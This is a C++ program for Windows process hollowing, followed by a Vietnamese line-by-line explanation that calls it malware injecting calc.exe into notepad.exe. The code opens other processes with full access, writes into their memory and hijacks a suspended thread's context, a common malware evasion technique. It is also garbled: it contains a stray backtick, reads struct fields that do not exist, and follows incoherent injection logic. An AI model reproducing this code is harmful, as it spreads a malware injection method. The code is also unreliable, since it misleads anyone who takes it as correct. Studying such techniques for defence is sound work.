#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
using namespace std;
bool HollowProcess(char *szSourceProcessName, char *szTargetProcessName)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &pe))
{
do
{
if (_stricmp((const char*)pe.szExeFile, szTargetProcessName) == 0)
{
H`ANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);
if (hProcess == NULL)
{
return false;
}
IMAGE_DOS_HEADER idh;
IMAGE_NT_HEADERS inth;
IMAGE_SECTION_HEADER ish;
DWORD dwRead = 0;
ReadProcessMemory(hProcess, (LPVOID)pe.modBaseAddr, &idh, sizeof(idh), &dwRead);
ReadProcessMemory(hProcess, (LPVOID)(pe.modBaseAddr + idh.e_lfanew), &inth, sizeof(inth), &dwRead);
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, inth.OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpBaseAddress == NULL)
{
return false;
}
if (!WriteProcessMemory(hProcess, lpBaseAddress, (LPVOID)pe.modBaseAddr, inth.OptionalHeader.SizeOfHeaders, &dwRead))
{
return false;
}
for (int i = 0; i < inth.FileHeader.NumberOfSections; i++)
{
ReadProcessMemory(hProcess, (LPVOID)(pe.modBaseAddr + idh.e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))), &ish, sizeof(ish), &dwRead);
WriteProcessMemory(hProcess, (LPVOID)((DWORD)lpBaseAddress + ish.VirtualAddress), (LPVOID)((DWORD)pe.modBaseAddr + ish.PointerToRawData), ish.SizeOfRawData, &dwRead);
}
DWORD dwEntrypoint = (DWORD)pe.modBaseAddr + inth.OptionalHeader.AddressOfEntryPoint;
DWORD dwOffset = (DWORD)lpBaseAddress - inth.OptionalHeader.ImageBase + dwEntrypoint;
if (!WriteProcessMemory(hProcess, (LPVOID)(lpBaseAddress + dwEntrypoint - (DWORD)pe.modBaseAddr), &dwOffset, sizeof(DWORD), &dwRead))
{
return false;
}
CloseHandle(hProcess);
break;
}
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
if (!CreateProcess(NULL, szSourceProcessName, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
{
return false;
}
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(pi.hThread, &ctx))
{
return false;
}
ctx.Eax = (DWORD)pi.lpBaseOfImage + ((IMAGE_DOS_HEADER*)pi.lpBaseOfImage)->e_lfanew + ((IMAGE_NT_HEADERS*)(((BYTE*)pi.lpBaseOfImage) + ((IMAGE_DOS_HEADER*)pi.lpBaseOfImage)->e_lfanew))->OptionalHeader.AddressOfEntryPoint;
if (!SetThreadContext(pi.hThread, &ctx))
{
return false;
}
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return true;
}
int main()
{
char* szSourceProcessName = "C:\\\\Windows\\\\System32\\\\calc.exe";
char* szTargetProcessName = "notepad.exe";
if (HollowProcess(szSourceProcessName, szTargetProcessName))
{
cout << "Process hollowing successful" << endl;
}
else
{
cout << "Process hollowing failed" << endl;
}
return 0;
}
Phân tích mã nguồn trên:
-
Lấy danh sách các process trên hệ thống sử dụng hàm
CreateToolhelp32Snapshot
,Process32First
vàProcess32Next
:HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe; pe.dwSize = sizeof(PROCESSENTRY32); if (Process32First(hSnapshot, &pe)) { do { if (_stricmp((const char*)pe.szExeFile, szTargetProcessName) == 0) //... } while (Process32Next(hSnapshot, &pe)); }
-
Nếu process có tên match với
szTargetProcessName
(target process) thì nó sẽ mở một handle đến process đó thông qua hàmOpenProcess
:if (_stricmp((const char*)pe.szExeFile, szTargetProcessName) == 0) { HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID); if (hProcess == NULL) { return false; } }
-
Đọc các header (
IMAGE_DOS_HEADER
vàIMAGE_NT_HEADERS
) của target process sử dụngReadProcessMemory
:IMAGE_DOS_HEADER idh; IMAGE_NT_HEADERS inth; IMAGE_SECTION_HEADER ish; DWORD dwRead = 0; ReadProcessMemory(hProcess, (LPVOID)pe.modBaseAddr, &idh, sizeof(idh), &dwRead); ReadProcessMemory(hProcess, (LPVOID)(pe.modBaseAddr + idh.e_lfanew), &inth, sizeof(inth), &dwRead);
-
Cấp phát vùng nhớ bằng hàm
VirtualAllocEx
dựa trên thông tin của các header vừa đọc:LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, inth.OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (lpBaseAddress == NULL) { return false; }
-
Ghi các header và các section vào vùng nhớ đã được cấp phát:
if (!WriteProcessMemory(hProcess, lpBaseAddress, (LPVOID)pe.modBaseAddr, inth.OptionalHeader.SizeOfHeaders, &dwRead)) { return false; } for (int i = 0; i < inth.FileHeader.NumberOfSections; i++) { ReadProcessMemory(hProcess, (LPVOID)(pe.modBaseAddr + idh.e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))), &ish, sizeof(ish), &dwRead); WriteProcessMemory(hProcess, (LPVOID)((DWORD)lpBaseAddress + ish.VirtualAddress), (LPVOID)((DWORD)pe.modBaseAddr + ish.PointerToRawData), ish.SizeOfRawData, &dwRead); }
-
Tính offset của entry point ở trong vùng nhớ mới:
DWORD dwEntrypoint = (DWORD)pe.modBaseAddr + inth.OptionalHeader.AddressOfEntryPoint; DWORD dwOffset = (DWORD)lpBaseAddress - inth.OptionalHeader.ImageBase + dwEntrypoint;
-
Cập nhật entry point của process bằng cách dùng hàm
WriteProcessMemory
:if (!WriteProcessMemory(hProcess, (LPVOID)(lpBaseAddress + dwEntrypoint - (DWORD)pe.modBaseAddr), &dwOffset, sizeof(DWORD), &dwRead)) { return false; }
-
Đóng handle bằng hàm
CloseHandle
. -
Tạo mới source process với tên là giá trị của
szSourceProcessName
trong trạng thái treo sử dụng hàmCreateProcess
với flag làCREATE_SUSPENDED
:STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); ZeroMemory(&pi, sizeof(pi)); if (!CreateProcess(NULL, szSourceProcessName, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) { return false; }
-
Lấy thread context của tiến trình bị treo bằng hàm
GetThreadContext
:CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL; if (!GetThreadContext(pi.hThread, &ctx)) { return false; }
-
Trỏ thanh ghi
eax
của context đến entry point của source process vừa tạo:ctx.Eax = (DWORD)pi.lpBaseOfImage + ((IMAGE_DOS_HEADER*)pi.lpBaseOfImage)->e_lfanew + ((IMAGE_NT_HEADERS*)(((BYTE*)pi.lpBaseOfImage) + ((IMAGE_DOS_HEADER*)pi.lpBaseOfImage)->e_lfanew))->OptionalHeader.AddressOfEntryPoint;
-
Cập nhật context vào thread bị treo bằng hàm
SetThreadContext
:if (!SetThreadContext(pi.hThread, &ctx)) { return false; }
-
Resume thread bị treo bằng hàm
ResumeThread
. -
Đóng handle đến thread và process.
-
Trong hàm
main
, mã độc thực hiện injectcalc.exe
vàonotepad.exe
. -
Nếu process được inject thành công thì sẽ thông báo
"Process hollowing successful"
. Còn nếu thất bại thì sẽ in ra"Process hollowing failed"
.